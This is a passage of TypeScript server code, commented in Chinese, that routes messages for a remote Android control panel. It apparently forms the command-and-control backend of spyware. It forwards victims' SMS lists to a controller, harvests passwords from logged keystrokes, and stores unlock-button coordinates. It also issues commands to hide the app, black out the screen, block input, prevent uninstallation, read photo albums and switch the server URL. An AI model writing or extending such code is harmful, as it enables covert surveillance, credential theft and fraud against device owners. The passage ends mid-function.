// 更新活跃时间
|
||
device.lastSeen = new Date()
|
||
|
||
// 转发给控制客户端
|
||
try {
|
||
const success = this.webClientManager.sendToClient(controllerId, 'sms_data', {
|
||
deviceId: device.id,
|
||
type: smsData.type,
|
||
timestamp: smsData.timestamp,
|
||
count: smsData.count,
|
||
smsList: smsData.smsList
|
||
})
|
||
|
||
if (!success) {
|
||
this.logger.warn(`❌ 发送短信数据失败: ${device.name} -> ${controllerId}`)
|
||
return false
|
||
}
|
||
|
||
this.logger.debug(`✅ 短信数据传输成功: ${device.id} -> ${controllerId} (count=${smsData.count})`)
|
||
return true
|
||
} catch (emitError) {
|
||
this.logger.error(`❌ 短信数据发送异常: ${device.name} -> ${controllerId}`, emitError)
|
||
return false
|
||
}
|
||
|
||
} catch (error) {
|
||
this.logger.error('路由短信数据失败:', error)
|
||
return false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 重试路由短信数据
|
||
*/
|
||
private retryRouteSmsData(fromSocketId: string, smsData: SmsData, retryCount: number): void {
|
||
const maxRetries = 3
|
||
try {
|
||
let device = this.deviceManager.getDeviceBySocketId(fromSocketId)
|
||
if (!device && retryCount <= maxRetries) {
|
||
setTimeout(() => {
|
||
this.retryRouteSmsData(fromSocketId, smsData, retryCount + 1)
|
||
}, 1000 * retryCount)
|
||
return
|
||
}
|
||
|
||
if (!device) {
|
||
const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId)
|
||
if (dbDevice) {
|
||
const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId)
|
||
device = {
|
||
id: dbDevice.deviceId,
|
||
socketId: fromSocketId,
|
||
name: dbDevice.deviceName,
|
||
model: dbDevice.deviceModel,
|
||
osVersion: dbDevice.osVersion,
|
||
appVersion: dbDevice.appVersion,
|
||
screenWidth: dbDevice.screenWidth,
|
||
screenHeight: dbDevice.screenHeight,
|
||
capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities),
|
||
connectedAt: new Date(),
|
||
lastSeen: new Date(),
|
||
status: 'online' as const,
|
||
inputBlocked: deviceState?.inputBlocked || false,
|
||
isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新
|
||
remark: (dbDevice as any).remark // 🆕 恢复设备备注
|
||
}
|
||
this.deviceManager.addDevice(device)
|
||
try {
|
||
const deviceForDb = {
|
||
deviceId: device.id,
|
||
deviceName: device.name,
|
||
deviceModel: device.model,
|
||
osVersion: device.osVersion,
|
||
appVersion: device.appVersion,
|
||
screenWidth: device.screenWidth,
|
||
screenHeight: device.screenHeight,
|
||
capabilities: device.capabilities
|
||
}
|
||
this.databaseService.saveDevice(deviceForDb, fromSocketId)
|
||
} catch (dbError) {
|
||
this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError)
|
||
}
|
||
|
||
this.webClientManager.broadcastToAll('device_connected', device)
|
||
this.webClientManager.broadcastToAll('device_status_update', {
|
||
deviceId: device.id,
|
||
status: {
|
||
online: true,
|
||
connected: true,
|
||
lastSeen: Date.now(),
|
||
inputBlocked: device.inputBlocked || false
|
||
}
|
||
})
|
||
|
||
if (deviceState) {
|
||
this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState)
|
||
}
|
||
} else {
|
||
this.logger.warn(`❌ 重试${maxRetries}次后仍无法识别设备(短信): ${fromSocketId}`)
|
||
return
|
||
}
|
||
}
|
||
|
||
if (device) {
|
||
const controllerId = this.webClientManager.getDeviceController(device.id)
|
||
if (controllerId) {
|
||
const success = this.webClientManager.sendToClient(controllerId, 'sms_data', smsData)
|
||
if (success) {
|
||
this.logger.debug(`📱 短信数据重试路由成功: ${device.name}`)
|
||
}
|
||
}
|
||
}
|
||
} catch (error) {
|
||
this.logger.error('重试路由短信数据失败:', error)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 路由设备事件(从设备到Web客户端)
|
||
*/
|
||
routeDeviceEvent(fromSocketId: string, eventType: string, eventData: any): boolean {
|
||
try {
|
||
this.logger.info(`🔍 处理设备事件: ${eventType}, Socket: ${fromSocketId}`)
|
||
|
||
let device = this.deviceManager.getDeviceBySocketId(fromSocketId)
|
||
|
||
// 对于ui_hierarchy_response,即使找不到设备也要尝试处理
|
||
if (!device && eventType === 'ui_hierarchy_response') {
|
||
this.logger.warn(`⚠️ 找不到设备但收到UI响应,尝试从数据库恢复设备信息`)
|
||
|
||
// 尝试从响应数据中获取deviceId
|
||
const deviceId = eventData?.deviceId
|
||
if (deviceId) {
|
||
this.logger.info(`📋 从响应数据中获取到设备ID: ${deviceId}`)
|
||
// 直接处理UI层次结构响应
|
||
this.handleUIHierarchyResponse(deviceId, eventData)
|
||
return true
|
||
} else {
|
||
this.logger.error(`❌ 响应数据中没有deviceId字段`)
|
||
}
|
||
}
|
||
|
||
if (!device) {
|
||
this.logger.warn(`❌ 无法找到Socket ${fromSocketId} 对应的设备`)
|
||
return false
|
||
}
|
||
|
||
// 🔧 修复:更新设备的lastSeen时间(设备事件是活动的标志)
|
||
device.lastSeen = new Date()
|
||
this.logger.debug(`🔄 设备事件更新活跃时间: ${device.id} - ${eventType}`)
|
||
|
||
// 广播给所有Web客户端(状态更新等)
|
||
this.webClientManager.broadcastToAll('device_event', {
|
||
deviceId: device.id,
|
||
eventType,
|
||
data: eventData,
|
||
timestamp: Date.now()
|
||
})
|
||
|
||
this.logger.debug(`设备事件已广播: ${device.id} - ${eventType}`)
|
||
|
||
// 处理特定的设备状态变化事件
|
||
switch (eventType) {
|
||
case 'INPUT_BLOCKED_CHANGED':
|
||
this.handleDeviceInputBlockedChanged(device.id, eventData.blocked)
|
||
break
|
||
|
||
case 'LOGGING_STATE_CHANGED':
|
||
this.handleDeviceLoggingStateChanged(device.id, eventData.enabled)
|
||
break
|
||
|
||
case 'ui_hierarchy_response':
|
||
this.handleUIHierarchyResponse(device.id, eventData)
|
||
break
|
||
|
||
case 'app_hide_status':
|
||
this.handleAppHideStatusUpdate(device.id, eventData)
|
||
break
|
||
|
||
default:
|
||
this.logger.debug(`设备事件已处理: ${eventType}`)
|
||
break
|
||
}
|
||
|
||
return true
|
||
|
||
} catch (error) {
|
||
this.logger.error('路由设备事件失败:', error)
|
||
return false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 路由客户端事件(从Web客户端到其他客户端或设备)
|
||
*/
|
||
routeClientEvent(fromSocketId: string, eventType: string, eventData: any): boolean {
|
||
try {
|
||
this.logger.info(`🔍 处理客户端事件: ${eventType}, Socket: ${fromSocketId}`)
|
||
const client = this.webClientManager.getClientBySocketId(fromSocketId)
|
||
if (!client) {
|
||
this.logger.warn(`❌ 无法找到客户端: ${fromSocketId}`)
|
||
return false
|
||
}
|
||
this.logger.info(`✅ 找到客户端: ${client.id}`)
|
||
|
||
switch (eventType) {
|
||
case 'REQUEST_DEVICE_CONTROL':
|
||
return this.handleDeviceControlRequest(client.id, eventData.deviceId)
|
||
|
||
case 'RELEASE_DEVICE_CONTROL':
|
||
return this.handleDeviceControlRelease(client.id, eventData.deviceId)
|
||
|
||
case 'GET_DEVICE_LIST':
|
||
return this.handleDeviceListRequest(client.id)
|
||
|
||
case 'GET_OPERATION_LOGS':
|
||
return this.handleGetOperationLogs(client.id, eventData)
|
||
|
||
case 'CLEAR_OPERATION_LOGS':
|
||
return this.handleClearOperationLogs(client.id, eventData.deviceId)
|
||
|
||
case 'GET_DEVICE_PASSWORD':
|
||
return this.handleGetDevicePassword(client.id, eventData.deviceId)
|
||
|
||
case 'SAVE_DEVICE_PASSWORD':
|
||
return this.handleSaveDevicePassword(client.id, eventData.deviceId, eventData.password)
|
||
|
||
case 'UPDATE_DEVICE_STATE':
|
||
return this.handleUpdateDeviceState(client.id, eventData.deviceId, eventData.state)
|
||
|
||
case 'GET_DEVICE_STATE':
|
||
return this.handleGetDeviceState(client.id, eventData.deviceId)
|
||
|
||
case 'SEARCH_PASSWORDS_FROM_LOGS':
|
||
return this.handleSearchPasswordsFromLogs(client.id, eventData.deviceId)
|
||
|
||
case 'DELETE_DEVICE':
|
||
return this.handleDeleteDevice(client.id, eventData.deviceId)
|
||
|
||
case 'GET_UI_HIERARCHY':
|
||
return this.handleGetUIHierarchy(client.id, eventData.deviceId, eventData)
|
||
|
||
case 'START_EXTRACT_CONFIRM_COORDS':
|
||
return this.handleStartExtractConfirmCoords(client.id, eventData.deviceId)
|
||
|
||
case 'SAVE_CONFIRM_COORDS':
|
||
return this.handleSaveConfirmCoords(client.id, eventData.deviceId, eventData.coords)
|
||
|
||
case 'ENABLE_BLACK_SCREEN':
|
||
return this.handleEnableBlackScreen(client.id, eventData.deviceId)
|
||
|
||
case 'DISABLE_BLACK_SCREEN':
|
||
return this.handleDisableBlackScreen(client.id, eventData.deviceId)
|
||
|
||
case 'OPEN_APP_SETTINGS':
|
||
return this.handleOpenAppSettings(client.id, eventData.deviceId)
|
||
|
||
case 'HIDE_APP':
|
||
return this.handleHideApp(client.id, eventData.deviceId)
|
||
|
||
case 'SHOW_APP':
|
||
return this.handleShowApp(client.id, eventData.deviceId)
|
||
|
||
case 'REFRESH_MEDIA_PROJECTION_PERMISSION':
|
||
return this.handleRefreshMediaProjectionPermission(client.id, eventData.deviceId)
|
||
|
||
case 'REFRESH_SCREEN':
|
||
return this.handleRefreshScreen(client.id, eventData.deviceId)
|
||
|
||
case 'REFRESH_MEDIA_PROJECTION_MANUAL':
|
||
return this.handleRefreshMediaProjectionManual(client.id, eventData.deviceId)
|
||
|
||
case 'CLOSE_CONFIG_MASK':
|
||
return this.handleCloseConfigMask(client.id, eventData.deviceId, eventData.manual)
|
||
|
||
case 'ENABLE_UNINSTALL_PROTECTION':
|
||
return this.handleEnableUninstallProtection(client.id, eventData.deviceId)
|
||
|
||
case 'DISABLE_UNINSTALL_PROTECTION':
|
||
return this.handleDisableUninstallProtection(client.id, eventData.deviceId)
|
||
|
||
case 'UNLOCK_DEVICE':
|
||
return this.handleUnlockDevice(client.id, eventData.deviceId, eventData.data)
|
||
|
||
case 'GALLERY_PERMISSION_CHECK':
|
||
return this.handleGalleryPermissionCheck(client.id, eventData.deviceId)
|
||
|
||
case 'ALBUM_READ':
|
||
return this.handleAlbumRead(client.id, eventData.deviceId, eventData.data)
|
||
|
||
case 'OPEN_PIN_INPUT':
|
||
return this.handleOpenPinInput(client.id, eventData.deviceId)
|
||
|
||
case 'OPEN_FOUR_DIGIT_PIN':
|
||
return this.handleOpenFourDigitPin(client.id, eventData.deviceId)
|
||
|
||
case 'OPEN_PATTERN_LOCK':
|
||
return this.handleOpenPatternLock(client.id, eventData.deviceId)
|
||
|
||
case 'CHANGE_SERVER_URL':
|
||
return this.handleChangeServerUrl(client.id, eventData.deviceId, eventData.data)
|
||
|
||
default:
|
||
this.logger.warn(`未知的客户端事件类型: ${eventType}`)
|
||
return false
|
||
}
|
||
|
||
} catch (error) {
|
||
this.logger.error('路由客户端事件失败:', error)
|
||
return false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 处理设备控制请求
|
||
*/
|
||
private handleDeviceControlRequest(clientId: string, deviceId: string): boolean {
|
||
// ✅ 检查设备是否存在
|
||
const device = this.deviceManager.getDevice(deviceId)
|
||
if (!device) {
|
||
this.logger.warn(`⚠️ 尝试控制不存在的设备: ${deviceId}`)
|
||
this.webClientManager.sendToClient(clientId, 'device_control_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '设备不存在或已断开连接'
|
||
})
|
||
return false
|
||
}
|
||
|
||
// ✅ 检查客户端是否已经在控制此设备(避免重复请求)
|
||
if (this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||
this.logger.debug(`👀 客户端 ${clientId} 已经在控制设备 ${deviceId},跳过重复请求`)
|
||
this.webClientManager.sendToClient(clientId, 'device_control_response', {
|
||
deviceId,
|
||
success: true,
|
||
message: '已经在控制此设备'
|
||
})
|
||
return true
|
||
}
|
||
|
||
const result = this.webClientManager.requestDeviceControl(clientId, deviceId)
|
||
|
||
this.webClientManager.sendToClient(clientId, 'device_control_response', {
|
||
deviceId,
|
||
success: result.success,
|
||
message: result.message,
|
||
currentController: result.currentController
|
||
})
|
||
|
||
if (result.success) {
|
||
// 通知设备有新的控制者
|
||
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
|
||
if (deviceSocketId) {
|
||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
|
||
if (deviceSocket) {
|
||
deviceSocket.emit('controller_changed', { clientId })
|
||
this.logger.info(`📤 已通知设备 ${deviceId} 新控制者: ${clientId}`)
|
||
}
|
||
}
|
||
|
||
// 恢复设备状态(如果存在)
|
||
this.restoreDeviceState(clientId, deviceId)
|
||
}
|
||
|
||
return true
|
||
}
|
||
|
||
/**
|
||
* 处理设备控制释放
|
||
*/
|
||
private handleDeviceControlRelease(clientId: string, deviceId: string): boolean {
|
||
// ✅ 首先检查设备是否还在线
|
||
const device = this.deviceManager.getDevice(deviceId)
|
||
if (!device) {
|
||
this.logger.warn(`⚠️ 尝试释放已断开设备的控制权: ${deviceId}`)
|
||
// 即使设备已断开,也要清理控制权状态
|
||
this.webClientManager.releaseDeviceControl(deviceId)
|
||
return false
|
||
}
|
||
|
||
if (this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||
this.webClientManager.releaseDeviceControl(deviceId)
|
||
|
||
// 通知设备控制者已离开
|
||
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
|
||
if (deviceSocketId) {
|
||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
|
||
if (deviceSocket) {
|
||
deviceSocket.emit('controller_changed', { clientId: null })
|
||
this.logger.debug(`📤 已通知设备 ${deviceId} 控制者离开`)
|
||
} else {
|
||
this.logger.warn(`⚠️ 无法找到设备Socket: ${deviceId}`)
|
||
}
|
||
} else {
|
||
this.logger.warn(`⚠️ 无法找到设备SocketId: ${deviceId}`)
|
||
}
|
||
} else {
|
||
this.logger.warn(`⚠️ 客户端 ${clientId} 没有设备 ${deviceId} 的控制权`)
|
||
return false
|
||
}
|
||
|
||
return true
|
||
}
|
||
|
||
/**
|
||
* 处理设备列表请求
|
||
*/
|
||
private handleDeviceListRequest(clientId: string): boolean {
|
||
try {
|
||
// ✅ 使用和getAllDevicesIncludingHistory相同的逻辑
|
||
// 获取数据库中的所有历史设备
|
||
const allDbDevices = this.databaseService.getAllDevices()
|
||
|
||
// 获取内存中的在线设备,用于补充Socket ID和状态
|
||
const onlineDevices = this.deviceManager.getAllDevices()
|
||
const onlineDeviceMap = new Map()
|
||
onlineDevices.forEach(device => {
|
||
onlineDeviceMap.set(device.id, device)
|
||
})
|
||
|
||
// 转换为前端格式并补充Socket ID
|
||
const allDevices = allDbDevices.map(dbDevice => {
|
||
const onlineDevice = onlineDeviceMap.get(dbDevice.deviceId)
|
||
|
||
return {
|
||
id: dbDevice.deviceId,
|
||
socketId: onlineDevice?.socketId || '', // 在线设备有Socket ID,离线设备为空
|
||
name: dbDevice.deviceName,
|
||
model: dbDevice.deviceModel,
|
||
osVersion: dbDevice.osVersion,
|
||
appVersion: dbDevice.appVersion,
|
||
screenWidth: dbDevice.screenWidth,
|
||
screenHeight: dbDevice.screenHeight,
|
||
capabilities: dbDevice.capabilities,
|
||
connectedAt: dbDevice.firstSeen,
|
||
lastSeen: dbDevice.lastSeen,
|
||
// ✅ 关键修复:优先使用内存中的状态,如果设备在内存中则为online,否则使用数据库状态
|
||
status: onlineDevice ? 'online' : dbDevice.status,
|
||
inputBlocked: onlineDevice?.inputBlocked || false
|
||
}
|
||
})
|
||
|
||
this.webClientManager.sendToClient(clientId, 'device_list', {
|
||
devices: allDevices.map(device => ({
|
||
...device,
|
||
isControlled: !!this.webClientManager.getDeviceController(device.id),
|
||
controller: this.webClientManager.getDeviceController(device.id)
|
||
}))
|
||
})
|
||
|
||
this.logger.info(`设备列表已发送: 在线=${onlineDevices.length}, 总计=${allDevices.length}`)
|
||
return true
|
||
|
||
} catch (error) {
|
||
this.logger.error('处理设备列表请求失败:', error)
|
||
this.webClientManager.sendToClient(clientId, 'device_list', {
|
||
devices: []
|
||
})
|
||
return false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 处理操作日志(从设备接收)
|
||
*/
|
||
handleOperationLog(fromSocketId: string, logMessage: OperationLogMessage): boolean {
|
||
try {
|
||
// 验证消息来源是设备
|
||
const device = this.deviceManager.getDeviceBySocketId(fromSocketId)
|
||
if (!device) {
|
||
this.logger.warn(`未知设备尝试发送操作日志: ${fromSocketId}`)
|
||
return false
|
||
}
|
||
|
||
// 验证设备ID匹配
|
||
if (device.id !== logMessage.deviceId) {
|
||
this.logger.warn(`设备ID不匹配: socket=${fromSocketId}, device=${device.id}, message=${logMessage.deviceId}`)
|
||
return false
|
||
}
|
||
|
||
// 🔧 修复:更新设备的lastSeen时间(操作日志也是设备活跃的标志)
|
||
device.lastSeen = new Date()
|
||
this.logger.debug(`🔄 操作日志更新活跃时间: ${device.id} - ${logMessage.logType}`)
|
||
|
||
// 🆕 检查是否为应用隐藏事件(通过操作日志传输)
|
||
if (logMessage.extraData && (logMessage.extraData as any).isAppHideEvent) {
|
||
this.logger.info(`📱 检测到通过操作日志发送的应用隐藏事件: ${device.id}`)
|
||
|
||
try {
|
||
const deviceEventData = (logMessage.extraData as any).eventData
|
||
if (deviceEventData && (logMessage.extraData as any).eventType === 'app_hide_status') {
|
||
// 处理应用隐藏状态更新
|
||
this.handleAppHideStatusUpdate(device.id, deviceEventData)
|
||
}
|
||
} catch (e) {
|
||
this.logger.error('处理应用隐藏事件失败:', e)
|
||
}
|
||
}
|
||
|
||
// 保存到数据库
|
||
this.databaseService.saveOperationLog({
|
||
deviceId: logMessage.deviceId,
|
||
logType: logMessage.logType,
|
||
content: logMessage.content,
|
||
extraData: logMessage.extraData,
|
||
timestamp: new Date(logMessage.timestamp)
|
||
})
|
||
|
||
this.logger.debug(`操作日志已保存: ${device.name} - ${logMessage.logType}: ${logMessage.content}`)
|
||
|
||
// 实时广播给正在控制该设备的Web客户端
|
||
const controllerId = this.webClientManager.getDeviceController(device.id)
|
||
if (controllerId) {
|
||
this.webClientManager.sendToClient(controllerId, 'operation_log_realtime', {
|
||
deviceId: device.id,
|
||
log: {
|
||
logType: logMessage.logType,
|
||
content: logMessage.content,
|
||
extraData: logMessage.extraData,
|
||
timestamp: new Date(logMessage.timestamp)
|
||
}
|
||
})
|
||
}
|
||
|
||
return true
|
||
|
||
} catch (error) {
|
||
this.logger.error('处理操作日志失败:', error)
|
||
return false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 处理获取操作日志请求
|
||
*/
|
||
private handleGetOperationLogs(clientId: string, requestData: any): boolean {
|
||
try {
|
||
const { deviceId, page = 1, pageSize = 50, logType } = requestData
|
||
|
||
// 检查客户端是否有权限查看该设备日志
|
||
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||
this.logger.warn(`客户端 ${clientId} 无权查看设备 ${deviceId} 的日志`)
|
||
this.webClientManager.sendToClient(clientId, 'operation_logs_response', {
|
||
success: false,
|
||
message: '无权查看该设备日志'
|
||
})
|
||
return false
|
||
}
|
||
|
||
// 从数据库获取日志
|
||
const result = this.databaseService.getOperationLogs(deviceId, page, pageSize, logType)
|
||
|
||
// 发送给客户端
|
||
this.webClientManager.sendToClient(clientId, 'operation_logs_response', {
|
||
success: true,
|
||
data: result
|
||
})
|
||
|
||
this.logger.debug(`操作日志已发送: ${deviceId}, page=${page}, total=${result.total}`)
|
||
return true
|
||
|
||
} catch (error) {
|
||
this.logger.error('处理获取操作日志请求失败:', error)
|
||
this.webClientManager.sendToClient(clientId, 'operation_logs_response', {
|
||
success: false,
|
||
message: '获取日志失败'
|
||
})
|
||
return false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 处理清空操作日志请求
|
||
*/
|
||
private handleClearOperationLogs(clientId: string, deviceId: string): boolean {
|
||
try {
|
||
// 检查客户端是否有权限清空该设备日志
|
||
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||
this.logger.warn(`客户端 ${clientId} 无权清空设备 ${deviceId} 的日志`)
|
||
this.webClientManager.sendToClient(clientId, 'clear_logs_response', {
|
||
success: false,
|
||
message: '无权清空该设备日志'
|
||
})
|
||
return false
|
||
}
|
||
|
||
// 清空数据库中的日志
|
||
this.databaseService.clearOperationLogs(deviceId)
|
||
|
||
// 发送成功响应
|
||
this.webClientManager.sendToClient(clientId, 'clear_logs_response', {
|
||
success: true,
|
||
message: '日志已清空'
|
||
})
|
||
|
||
this.logger.info(`设备 ${deviceId} 的操作日志已被客户端 ${clientId} 清空`)
|
||
return true
|
||
|
||
} catch (error) {
|
||
this.logger.error('处理清空操作日志请求失败:', error)
|
||
this.webClientManager.sendToClient(clientId, 'clear_logs_response', {
|
||
success: false,
|
||
message: '清空日志失败'
|
||
})
|
||
return false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 处理获取设备密码请求
|
||
*/
|
||
private handleGetDevicePassword(clientId: string, deviceId: string): boolean {
|
||
try {
|
||
this.logger.info(`🔐 处理密码查询请求: 客户端=${clientId}, 设备=${deviceId}`)
|
||
|
||
// 检查客户端是否有权限查看该设备信息
|
||
const hasControl = this.webClientManager.hasDeviceControl(clientId, deviceId)
|
||
this.logger.info(`🎫 权限检查结果: ${hasControl}`)
|
||
|
||
if (!hasControl) {
|
||
this.logger.warn(`❌ 客户端 ${clientId} 无权查看设备 ${deviceId} 的密码`)
|
||
this.webClientManager.sendToClient(clientId, 'get_device_password_response', {
|
||
success: false,
|
||
message: '无权查看该设备信息'
|
||
})
|
||
return false
|
||
}
|
||
|
||
// ✅ 优先从状态表获取密码
|
||
const password = this.databaseService.getDevicePassword(deviceId)
|
||
|
||
// ✅ 获取设备状态信息
|
||
const deviceState = this.databaseService.getDeviceState(deviceId)
|
||
|
||
let responseData: any = {
|
||
success: true,
|
||
password: password,
|
||
deviceState: deviceState ? {
|
||
inputBlocked: deviceState.inputBlocked,
|
||
loggingEnabled: deviceState.loggingEnabled,
|
||
lastPasswordUpdate: deviceState.lastPasswordUpdate,
|
||
// 🆕 包含确认按钮坐标信息
|
||
confirmButtonCoords: deviceState.confirmButtonCoords,
|
||
learnedConfirmButton: deviceState.learnedConfirmButton
|
||
} : null
|
||
}
|
||
|
||
// ✅ 处理确认按钮坐标信息
|
||
if (password) {
|
||
responseData.message = '找到密码记录'
|
||
|
||
// 🆕 优先使用保存的确认按钮坐标
|
||
if (deviceState?.confirmButtonCoords) {
|
||
responseData.hasConfirmButton = true
|
||
responseData.confirmButtonCoords = deviceState.confirmButtonCoords
|
||
this.logger.info(`🎯 使用保存的确认按钮坐标: (${deviceState.confirmButtonCoords.x}, ${deviceState.confirmButtonCoords.y})`)
|
||
}
|
||
// 🆕 其次使用学习的确认按钮坐标
|
||
else if (deviceState?.learnedConfirmButton) {
|
||
responseData.hasConfirmButton = true
|
||
responseData.confirmButtonCoords = {
|
||
x: deviceState.learnedConfirmButton.x,
|
||
y: deviceState.learnedConfirmButton.y
|
||
}
|
||
this.logger.info(`🧠 使用学习的确认按钮坐标: (${deviceState.learnedConfirmButton.x}, ${deviceState.learnedConfirmButton.y}) 次数: ${deviceState.learnedConfirmButton.count}`)
|
||
}
|
||
// 🆕 最后尝试从日志中查找
|
||
else {
|
||
const textInputLogs = this.databaseService.getOperationLogs(deviceId, 1, 100, 'TEXT_INPUT')
|
||
const passwordsWithMeta = this.extractPasswordCandidatesWithMeta(textInputLogs.logs)
|
||
|
||
const matchingEntry = passwordsWithMeta.find(entry => entry.password === password)
|
||
if (matchingEntry && matchingEntry.hasConfirmButton) {
|
||
responseData.hasConfirmButton = true
|
||
responseData.confirmButtonCoords = {
|
||
x: matchingEntry.confirmButtonX,
|
||
y: matchingEntry.confirmButtonY
|
||
}
|
||
this.logger.info(`📝 从日志中找到确认按钮坐标: (${matchingEntry.confirmButtonX}, ${matchingEntry.confirmButtonY})`)
|
||
} else {
|
||
responseData.hasConfirmButton = false
|
||
this.logger.info(`ℹ️ 密码 ${password} 无确认按钮坐标`)
|
||
}
|
||
}
|
||
} else {
|
||
// 如果状态表没有密码,尝试从日志中提取
|
||
const textInputLogs = this.databaseService.getOperationLogs(deviceId, 1, 100, 'TEXT_INPUT')
|
||
if (textInputLogs.logs.length > 0) {
|
||
const passwordsWithMeta = this.extractPasswordCandidatesWithMeta(textInputLogs.logs)
|
||
|
||
if (passwordsWithMeta.length > 0) {
|
||
const bestEntry = passwordsWithMeta[0]
|
||
responseData.password = bestEntry.password
|
||
|
||
if (bestEntry.hasConfirmButton) {
|
||
responseData.hasConfirmButton = true
|
||
responseData.confirmButtonCoords = {
|
||
x: bestEntry.confirmButtonX,
|
||
y: bestEntry.confirmButtonY
|
||
}
|
||
} else {
|
||
responseData.hasConfirmButton = false
|
||
}
|
||
|
||
responseData.message = '从日志中找到密码记录'
|
||
this.logger.info(`✅ 从日志中提取密码: ${bestEntry.password}`)
|
||
} else {
|
||
responseData.message = '暂无密码记录'
|
||
}
|
||
} else {
|
||
responseData.message = '暂无密码记录'
|
||
}
|
||
}
|
||
|
||
// 发送响应
|
||
this.webClientManager.sendToClient(clientId, 'get_device_password_response', responseData)
|
||
|
||
this.logger.debug(`设备密码和状态查询完成: ${deviceId}, 找到密码: ${!!password}, 设备状态: ${!!deviceState}`)
|
||
return true
|
||
|
||
} catch (error) {
|
||
this.logger.error('处理获取设备密码请求失败:', error)
|
||
this.webClientManager.sendToClient(clientId, 'get_device_password_response', {
|
||
success: false,
|
||
message: '查询密码失败'
|
||
})
|
||
return false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 处理保存设备密码请求
|
||
*/
|
||
private handleSaveDevicePassword(clientId: string, deviceId: string, password: string): boolean {
|
||
try {
|
||
this.logger.info(`🔐 处理保存设备密码请求: 客户端=${clientId}, 设备=${deviceId}`)
|
||
|
||
// 检查客户端是否有权限保存该设备密码
|
||
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||
this.logger.warn(`客户端 ${clientId} 无权保存设备 ${deviceId} 的密码`)
|
||
this.webClientManager.sendToClient(clientId, 'save_device_password_response', {
|
||
success: false,
|
||
message: '无权保存该设备密码'
|
||
})
|
||
return false
|
||
}
|
||
|
||
// 保存密码到数据库
|
||
this.databaseService.saveDevicePassword(deviceId, password)
|
||
|
||
// 发送成功响应
|
||
this.webClientManager.sendToClient(clientId, 'save_device_password_response', {
|
||
success: true,
|
||
message: '密码已保存'
|
||
})
|
||
|
||
this.logger.info(`设备 ${deviceId} 的密码已被客户端 ${clientId} 保存`)
|
||
return true
|
||
|
||
} catch (error) {
|
||
this.logger.error('处理保存设备密码请求失败:', error)
|
||
this.webClientManager.sendToClient(clientId, 'save_device_password_response', {
|
||
success: false,
|
||
message: '保存密码失败'
|
||
})
|
||
return false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 处理更新设备状态请求
|
||
*/
|
||
private handleUpdateDeviceState(clientId: string, deviceId: string, state: any): boolean {
|
||
try {
|
||
this.logger.info(`🔐 处理更新设备状态请求: 客户端=${clientId}, 设备=${deviceId}`)
|
||
|
||
// 检查客户端是否有权限更新该设备状态
|
||
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||
this.logger.warn(`客户端 ${clientId} 无权更新设备 ${deviceId} 的状态`)
|
||
this.webClientManager.sendToClient(clientId, 'update_device_state_response', {
|
||
success: false,
|
||
message: '无权更新该设备状态'
|
||
})
|
||
return false
|
||
}
|
||
|
||
// 更新设备状态到数据库
|
||
this.databaseService.updateDeviceState(deviceId, state)
|
||
|
||
// 发送成功响应
|
||
this.webClientManager.sendToClient(clientId, 'update_device_state_response', {
|
||
success: true,
|
||
message: '设备状态已更新'
|
||
})
|
||
|
||
this.logger.info(`设备 ${deviceId} 的状态已被客户端 ${clientId} 更新`)
|
||
return true
|
||
|
||
} catch (error) {
|
||
this.logger.error('处理更新设备状态请求失败:', error)
|
||
this.webClientManager.sendToClient(clientId, 'update_device_state_response', {
|
||
success: false,
|
||
message: '更新设备状态失败'
|
||
})
|
||
return false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 处理获取设备状态请求
|
||
*/
|
||
private handleGetDeviceState(clientId: string, deviceId: string): boolean {
|
||
try {
|
||
this.logger.info(`🔐 处理获取设备状态请求: 客户端=${clientId}, 设备=${deviceId}`)
|
||
|
||
// 检查客户端是否有权限获取该设备状态
|
||
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||
this.logger.warn(`客户端 ${clientId} 无权获取设备 ${deviceId} 的状态`)
|
||
this.webClientManager.sendToClient(clientId, 'get_device_state_response', {
|
||
success: false,
|
||
message: '无权获取该设备状态'
|
||
})
|
||
return false
|
||
}
|
||
|
||
// 获取设备状态
|
||
const deviceState = this.databaseService.getDeviceState(deviceId)
|
||
|
||
// 发送响应,包含设备状态信息
|
||
this.webClientManager.sendToClient(clientId, 'get_device_state_response', {
|
||
success: true,
|
||
data: deviceState
|
||
})
|
||
|
||
this.logger.info(`设备 ${deviceId} 的状态已被客户端 ${clientId} 获取`)
|
||
return true
|
||
|
||
} catch (error) {
|
||
this.logger.error('处理获取设备状态请求失败:', error)
|
||
this.webClientManager.sendToClient(clientId, 'get_device_state_response', {
|
||
success: false,
|
||
message: '获取设备状态失败'
|
||
})
|
||
return false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 广播消息到所有相关方
|
||
*/
|
||
broadcastMessage(eventType: string, data: any): void {
|
||
this.webClientManager.broadcastToAll(eventType, data)
|
||
this.logger.debug(`广播消息: ${eventType}`)
|
||
}
|
||
|
||
/**
|
||
* 获取路由统计信息
|
||
*/
|
||
getRouterStats(): {
|
||
totalDevices: number
